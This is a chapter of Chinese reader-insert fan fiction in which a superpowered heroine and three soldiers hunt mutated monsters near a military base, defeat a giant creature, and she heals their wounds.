Y/N眨了眨眼睛,她踢了踢脚边的小石子。
“哦,原来是这样啊。那好吧。”
也是,要是自己不小心受伤了,他们肯定会着急,一着急他们就容易受伤。而她现在还不知道能不能为他们治愈。
“那我不去找他们,”Y/N眼睛一转。
“但我要去找怪物。这个Price没让你们阻止我吧?”
Zimo挑了挑眉,确实,指挥官只说要拦住她去北面基地,可没说不让她杀异变体。
他默默掏出对讲机递过去:“你最好亲自问他。”
装甲车内,Price战术背心上的对讲机炸响刺耳杂音,紧接着传来Y/N清冷的嗓音。
“喂?喂喂?怎么不说话?”
她疑惑地拍了拍对讲机,“Price给了你个坏的吧?”
Ghost低笑一声,骷髅面罩下的嘴角扬起,上次说教她用通讯设备的事,又被搁置了。
Price无奈地按下通话键:“没坏,我听着呢。什么事,Y/N?”
Konig突瞬间挤过来,头套都蹭到了麦克风:“Y/N!等...等我们回.….”
“我听见啦!”她的声音瞬间明亮起来。
“你们怎么样?为什么不带我?我现在超强的,他们三个都打不过我,你还让他们看着我!”
训练场上,三个男人站在她面前,饶有兴趣地看着她发亮的眼睛和发红的耳尖。
Horangi用口型对Oni说:“瞧这小混蛋变脸的速度。”
赤鬼面具下传来一声几不可闻的轻笑。
“对了,Price。”对讲机里Y/N的声音再次传过去,“我想出去找怪物,他们让我问你。“
Price扫视了一圈车内众人,“哼,看吧,我就说那几个比你们老实,至少知道要请示。”
他按下通话键:“Y/N,你只准在基地50公里范围内……”
“Lt,50公里太多了。”Keegan插话,皱了皱眉。
Ghost的骷髅面罩凑近自己身上的对讲机,声音低沉:“最多20。”
Konig急得直扯Price的衣带:“Y,Y/N你等我.….我回去陪你...”
Price一脚把他蹬开。
Krueger轻笑一声:“小猫,记得把戒指戴好。”
通讯频道突然陷入诡异的寂静。
“什么戒指?!”
几个男人的声音同时炸响,紧接着通讯器传来刺耳的忙音,信号断了。
训练场上,三个东方男人看了一眼Y/N手指上的钻戒,各自表情都变了变。
她晃了晃手中的对讲机,“Price说我可以在50公里内活动。”
Horangi忍不住笑出声,战术手套抵着下巴,“其他人说的话你是一个字都没听进去啊。”
Y/N看向Zimo:“不是只用听Price的建议吗?”
Oni也淌出声低笑:“嗯,你说的也是。”
“那我走啦,还给你。”她将对讲机塞回Zimo手中,转身就要往基地外跑。
Zimo向前两步,声音沉稳:“我跟你一起。有个照应。”
“那也算我一个。”Horangi搭上Oni的肩膀,却被对方一个侧身躲开。
Y/N想了想,人多也好,能多杀几只怪物,她就能多吸收些能量。
“行啊。”她欢快地蹦跶了两步,又想起什么似的回头。
“不过你们别拖我后腿。”
……
四个人漫不经心晃出基地。这片区域早被清理得干干净净,方圆两百公里内怕是连只普通异变体都难找。
Y/N一头扎进树林,Zimo寸步不离地跟着。
Horangi坐在林边的石头上,“这架势,倒像是出来遛狗的。”
Oni望着树林深处,“就是不知道,到底谁遛谁。”
无线电里突然炸响Zimo的声音:“过来,南面一里地。”
两人瞬间弹起来,装备都没来得及整理就冲进树林。
赶到时,地上已经横七竖八躺满了异变体的尸体。Zimo站在一旁,身上干干净净,连个血点都没沾。
反倒是Y/N站在血泊中央,作战服浸得猩红,像个刚从地狱爬出来的煞星,正歪着头看他们。
“嚯,什么情况?”Horangi凑到Zimo身边。
“我来的时候就这样了。”
Oni盯着浑身是血的Y/N,喉结动了动,这副模样竟意外地好看。
但他开口时声音依然冷冽:“怎么会有这么多异变体?”
Zimo的声音沉了几分:“所以才叫你们过来。”
Y/N从尸堆里跳出来,“走吧,去下一个地方。”
随着汲取的力量越来越多,Y/N渐渐发现自己竟能感知到怪物的方位。
仿佛体内的力量在指引着她寻找猎物。
她不再等那三人,独自在树梢间飞跃穿梭。她能清晰地感觉到,前方有一股强大的能量波动。
当Y/N停在最高的那棵树上时,眼前的景象让她微微一怔。
河对岸密密麻麻挤满了普通异变体,黑压压的一片,像潮水般涌动。而在它们中间,站着一个特殊的存在。
那怪物体型庞大,皮肤表面布满溃烂的脓包和裂痕,部分躯干甚至呈现出半透明状,内部流动着幽蓝色的荧光。
Y/N迅速后撤,轻盈地落回地面。
三人正紧追其后,一道身影从半空落下,挡在他们面前。
是Y/N,她的神色罕见地紧绷,“你们快离开。”
“怎么了?”Zimo敏锐察觉到她的异常。
“前面有一大群小怪物,还有一只超级大的家伙。你们先回去。”
她伸手推了他们一把,Y/N始终觉得,Price把这三人留下,其实是想让她保护他们。
突然,一声低沉的咆哮撕裂了空气。
几人瞬间拔枪上膛,动作整齐划一。树丛中已经窜出十几只异变体,张牙舞爪地扑来。
Y/N挡在最前面,这些普通的怪物根本不会攻击她。
她反手抽出匕首,寒光翻飞间身形穿梭,每一刀都精准地刺入要害。
不到十秒,地上就躺满了还在抽搐的尸体。
“漂亮。”Horangi吹了个口哨,但眼神警惕扫视着四周。
Y/N甩了甩匕首上的黑血,她能感觉到,河对岸那个庞然大物正在移动。
而
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且,是朝着他们的方向。
地面开始震颤,河对岸传来树木断裂的轰响,那只巨型怪物正在渡河。
“你们快跑啊。”Y/N有些着急看他们,匕首在掌心转了个圈。
Zimo一把拽住Horangi的后领,三人转身就准备往林外冲去。
Y/N却站在原地没动,她能感觉到体内那股力量在沸腾,既渴望又抗拒。
河水炸开,漫天水雾中,那个布满荧光脉络的庞然大物终于现出全貌。
它足有三层楼高,半透明的胸腔里,蓝色能量如心脏般跳动。
她眼睛一亮,要是杀了这个怪物,肯定能恢复很多力量,念头一起,毫不犹豫迎着就冲了上去。
“Y/N!回来!”Zimo的怒吼在树林间炸响。
Oni猛地刹住脚步回头,瞳孔骤缩。
“啧,这小疯子。”Horangi啐了一口,三人默契调转方向,再度冲回战场。
Y/N已经跃上半空,匕首在掌心翻出银光。
那怪物发出震耳欲聋的嘶吼,半透明的胸腔里蓝色能量剧烈翻涌,一记重拳朝她砸来。
她在空中灵巧扭身,刀锋划过怪物手腕,黑血混着荧光液体喷溅而出。
“掩护她!”Zimo低喝一声,三人同时开火。
子弹在怪物身上炸开一朵朵血花,却只是让它更加狂暴。
Oni趁机绕到侧面,军刀狠狠扎进怪物膝盖的关节处。
怪物踉跄着单膝跪地,Y/N抓住机会,蹿上它的后背的双手握紧匕首,对准那跳动的蓝色核心刺下。
但战斗比想象中艰难得多。
怪物每次挥击都挟着摧枯拉朽的力量,三人被迫分散开来,在树林间狼狈闪躲。
Zimo的左臂被飞溅的腐蚀性液体灼伤,作战服袖子已经烧穿,露出里面泛红的皮肤。
Oni右腿被怪物扫来的树干砸中,步伐明显变得迟缓,却仍持续射击。
Horangi的情况最糟,他为了给Y/N创造机会,硬生生用身体挡下了怪物的一记挥舞。
此刻他靠在树边,面罩下渗出血丝,却还扯着笑:“妈的…..这畜生劲儿真大。”
Y/N在怪物背上摇摇欲坠。匕首虽然刺进了核心,但那层外皮异常坚韧,她必须用全身重量压着刀柄才能继续深入。
怪物疯狂甩动着身躯,她感觉自己的肋骨都要被震断了,温热的血从嘴角溢出。
Y/N双手虎口已经撕裂,鲜血顺着刀柄往下淌。怪物胸腔里的蓝光开始忽明忽暗,像接触不良的灯泡。
随着一声震耳欲聋的爆裂声,蓝色核心终于被彻底贯穿。耀眼的能量喷涌而出,Y/N被冲击波掀飞数米,重重摔在泥地上。
大量能量疯狂涌入体内,每一根血管都在灼烧般疼痛。
她蜷缩着身体,指甲深深抠进泥土,喉咙里溢出痛苦的呜咽。
那些能量在她皮肤下游走,形成诡异的蓝色纹路,又渐渐隐没。
Zimo第一个冲到她身边,顾不上自己鲜血淋漓的手臂,一把将她扶起。
Y/N的瞳孔在剧烈收缩,眼白处布满血丝,整个人都在不受控制地颤抖。
Horangi抹了把脸上的血,踉跄着走过来:“见鬼,她这是怎么了。”
Oni单膝跪地,从医疗包里掏出镇静剂,却被Zimo按住手腕。
“没用。”Zimo盯着Y/N逐渐泛起蓝光的眼睛,“她应该需要自己消化这些。”
渐渐的,她眼中的蓝光渐渐稳定下来,呼吸也趋于平稳。
Y/N一个鲤鱼打挺蹦了起来,兴奋地左看右看,还转了个圈,她感觉体内的能量已经恢复了一半。
她抬眼一看,面前几人全都是血淋淋的,浑身是伤。
完了,Price要是知道她带着他们搞成这样。
Y/N脑海里立刻浮现出Price骂Soap时的场景,简直比刚才的巨怪还吓人。
她二话不说抓起Zimo的手臂,低头就把嘴唇贴了上去。
Zimo下意识要抽手,却浑身一僵。一股奇异的暖流从伤口处蔓延开来,灼痛感迅速消退。
“小疯子你搞什么鬼?”Horangi一把扯下护目镜,眉头拧成了疙瘩,语气比平时更冲了几分。
赤鬼面具下的男人却看清楚了,那片狰狞的伤口,正在以肉眼可见的速度愈合。
Oni沉默盯着Y/N贴在Zimo手臂上的唇。
Y/N满意抬头,指尖擦过嘴角。治愈能力总算回来了,虽然还做不到像从前那样瞬间愈合伤口,但已经够用了。
她拍了拍Zimo的肩膀,心想这下不会挨骂了,“好啦,下一个。”
目光在Horangi和Oni之间来回扫视,完全没注意到两人微妙的表情变化。
Horangi扭开头:“老子这点小伤用不着你操心。”
可血迹斑斑的作战服和略显急促的呼吸出卖了他。
Oni没有说话,只是捂着肋部的手不自觉地收紧了。
Zimo活动着痊愈的手臂,若有所思地看着Y/N:“你的能力.….”
“啊,你们不要说出去,Ghost不准我用这个的。”
Horangi嗤笑一声,抹了把面罩下渗出的血迹:“怎么?那个骷髅头还管你这个?”
Y/N转身就要去抓他,“赶紧,我还要回去看漫画。”
Horangi语气凶巴巴的,却没什么威慑力。
“说了不用!”
Y/N看着他抗拒的样子,完全不明白这个人为什么这么别扭。
她直接伸手拽住Horangi的胳膊,动作干脆得像是要去抓一只不听话的小狗。
“你真是够怪,大晚上还带墨镜。躲什么,不疼吗。”
男人被她噎住,耳根红了,想凶她又凶不起来:“我,我自己能处理!这不是墨镜!”
Y/N似懂非懂点点头,但手还是没松开。
Horangi:“……”
她转头又看向Oni,见他捂着肋部不说话,便凑过去,扒拉起他的作战服。
Oni猛地后退一步,他从未遇到过这么毫无距离感的人。
Zimo在一旁扶额,终于忍不住开口:“Y/N,他们只是不习惯……”
“不习惯什么,受伤了就要治啊,你们难道故意的,就是想让我挨骂。”
三人:“……”